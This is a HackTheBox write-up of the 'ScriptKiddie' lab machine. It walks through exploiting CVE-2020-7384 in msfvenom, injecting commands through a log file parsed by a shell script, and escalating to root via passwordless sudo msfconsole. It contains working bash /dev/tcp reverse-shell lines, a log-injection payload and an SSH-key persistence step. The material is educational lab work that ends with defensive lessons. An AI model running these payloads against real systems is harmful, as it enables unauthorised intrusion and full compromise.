ScriptKiddie - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

ScriptKiddie is an easy Linux machine featuring a vulnerable Metasploit installation exposed through a web interface. The machine showcases multiple attack vectors: a Metasploit Framework msfvenom APK template command injection vulnerability (CVE-2020-7384) for initial foothold, OS command injection through unsanitized log file parsing for lateral movement, and an insecure passwordless sudo configuration for privilege escalation. The vulnerability chain demonstrates the importance of input validation, secure configuration management, and keeping frameworks updated.

TL;DR: Exploit CVE-2020-7384 in msfvenom → Command injection in log file parsing → Passwordless sudo msfconsole → Root shell via irb.

Reconnaissance

Port Scanning

nmap -p- --min-rate=1000 -T4 10.10.10.226
nmap -p22,5000 -sV -sC 10.10.10.226

Results:

Service Enumeration

Port 5000 (HTTP):

The web application is titled “k1d’5 h4ck3r t00l5” and presents three primary functionalities:

1. Nmap Interface - Allows execution of nmap port scans (top 100 ports) on specified IP addresses
2. Searchsploit Interface - Searches for exploits using searchsploit and presents results
3. Payloads Interface - Generates payloads using msfvenom with selectable OS (Windows, Linux, Android), LHOST configuration, and optional template file upload

Testing the nmap and sploits interfaces reveals no immediate vulnerabilities or sensitive information disclosure.

Vulnerability Assessment

Identified Vulnerabilities:

1. CVE-2020-7384 - Metasploit Framework msfvenom APK template command injection (version <= 6.0.11)

   • The payload generator accepts APK template files for Android payloads
   • The template file is passed unsanitized to msfvenom, allowing command injection
   • Severity: Critical - Direct code execution during payload generation

2. OS Command Injection - The scanlosers.sh script in /home/pwn parses log files without input validation

   • Log entries are written when non-alphanumeric characters are submitted to the searchsploit interface
   • The bash script uses the log data in shell commands without proper escaping
   • Severity: High - Allows lateral movement between users

3. Insecure Sudo Configuration - The pwn user can execute msfconsole as root without password

   • msfconsole provides interactive Ruby shell (irb) access
   • From irb, arbitrary system commands can be executed
   • Severity: Critical - Direct privilege escalation to root

Initial Foothold

Exploitation Path

Step 1: Generate Malicious APK Template

We exploit CVE-2020-7384 using Metasploit’s built-in exploit module:

msfconsole

msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST tun0
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 7777
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

This generates a malicious msf.apk file containing command injection payload that will execute our reverse shell command when msfvenom processes it.

Step 2: Set Up Listener

nc -lnvp 7777

Step 3: Upload Malicious APK and Trigger Exploitation

• Navigate to the Payloads section of the web application
• Select Android as the operating system
• Enter 127.0.0.1 as the LHOST
• Upload the generated msf.apk file as the template
• Click Generate

The web application passes the APK template to msfvenom, which executes our injected command:

# Reverse shell payload is executed in the context of the 'kid' user
bash -i >& /dev/tcp/10.10.14.30/7777 0>&1

Step 4: Receive Shell

A reverse shell connection is established on our netcat listener:

listening on [any] 7777 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.226] 42196
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$

Step 5: Establish Persistent Access

Generate SSH keypair on attacker machine:

ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa
cat ~/.ssh/id_rsa.pub

Add public key to authorized_keys on target:

echo "ssh-rsa AAAA... attacker@machine" >> ~/.ssh/authorized_keys

Connect via SSH for persistent access:

ssh kid@10.10.10.226

Step 6: Capture User Flag

cat /home/kid/user.txt

Privilege Escalation

Lateral Movement to pwn User

Step 1: Identify Exploitation Vector

Enumerate readable files in the pwn home directory:

find /home/pwn -type f -readable -ls 2>/dev/null

Discover the world-readable scanlosers.sh script at /home/pwn/scanlosers.sh:

#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

Critical Vulnerability: The script uses a single space as field delimiter (-d' ') and passes all fields from the 3rd onward (-f3-) directly to the shell without any input validation. This allows arbitrary command injection through the log file.

Step 2: Understand Log File Population Mechanism

Examine the web application source code at /home/kid/html/app.py:

def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        # Non-alphanumeric input triggers logging
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")

When non-alphanumeric characters are submitted to the searchsploit interface, the source IP is logged to /home/kid/logs/hackers. The scanlosers.sh script monitors this file and processes entries immediately.

Step 3: Craft and Inject Payload

Set up listener on attacker machine:

nc -lnvp 7777

Inject command into the hackers log file:

echo 'a b $(bash -c "bash -i >& /dev/tcp/10.10.14.30/7777 0>&1")' > /home/kid/logs/hackers

The log entry format a b $(command) breaks down as:

• a - Field 1 (timestamp placeholder)
• b - Field 2 (IP placeholder)
• $(command) - Fields 3+ (executed by nmap, which expands the subshell)

When scanlosers.sh processes this line with cut -d' ' -f3-, it extracts $(bash -c "bash -i >& /dev/tcp/10.10.14.30/7777 0>&1") and passes it to sh -c, causing execution of our reverse shell.

Step 4: Receive Shell as pwn User

The reverse shell is immediately executed in the context of the pwn user:

listening on [any] 7777 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.226] 42210
bash: cannot set terminal process group (-1): Inappropriate ioctl for device

Step 5: Upgrade to Interactive Shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation to Root

Step 1: Check Sudo Permissions

sudo -l

Output:

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /usr/bin/msfconsole

The pwn user can execute msfconsole as root without supplying a password—a critical misconfiguration.

Step 2: Launch msfconsole as Root

sudo msfconsole

Step 3: Drop into Interactive Ruby Shell

Within msfconsole:

msf6 > irb
[*] Starting IRB shell...
[*] The 'show' command and many methods are unavailable in IRB
irb(main):001:0>

Step 4: Execute System Commands from Ruby

From the irb shell, execute a bash shell with root privileges:

>> system("/bin/bash")

This spawns a bash shell with root user context:

root@scriptkiddie:/home/pwn#

Step 5: Capture Root Flag

cat /root/root.txt

Attack Chain Summary

CVE-2020-7384 APK Template Injection
         ↓
    Remote Code Execution as kid
         ↓
OS Command Injection via Log File Parsing
         ↓
Lateral Movement to pwn User
         ↓
Passwordless sudo msfconsole
         ↓
IRB Interactive Shell from msfconsole
         ↓
system() Command Execution as Root
         ↓
Root Shell / Complete System Compromise

Tools Used

Key Learnings

Techniques Practiced

• Template Injection Vulnerabilities - Understanding how user-supplied files passed to external tools can execute arbitrary code
• OS Command Injection - Exploiting unsanitized input in shell command construction, particularly with field delimiters
• Log File Manipulation - Weaponizing application logging mechanisms as attack vectors
• Metasploit Framework Exploitation - Using msfconsole both as an exploitation platform and as a privilege escalation vector
• Interactive Shell Upgrades - Converting non-interactive shells to fully functional TTY sessions
• Sudo Misconfiguration - Identifying and exploiting passwordless sudo entries with dangerous functionality

Lessons Learned

1. Input Validation is Critical - All user-supplied data, especially file uploads and web form inputs, must be validated and sanitized before use in system commands or external tool invocations.

2. Framework Security Matters - Keeping Metasploit Framework and other penetration testing tools updated is essential. CVE-2020-7384 is a known vulnerability that affects older versions.

3. Log File Security - Application logs should never contain unsanitized user input that will later be processed in shell commands. Either sanitize the input or use safer data structures than string parsing.

4. Principle of Least Privilege - Sudo configurations granting interactive shell access (like msfconsole or bash) should always require password authentication, regardless of the command.

5. Field Delimiter Dangers - Using single-character delimiters like space in bash scripts is problematic when data can contain those characters. Consider using more robust parsing methods.

6. Defense in Depth - This machine requires multiple vulnerability chains to achieve root. Fixing any single issue (updating Metasploit, validating log input, requiring sudo password) would have prevented complete compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>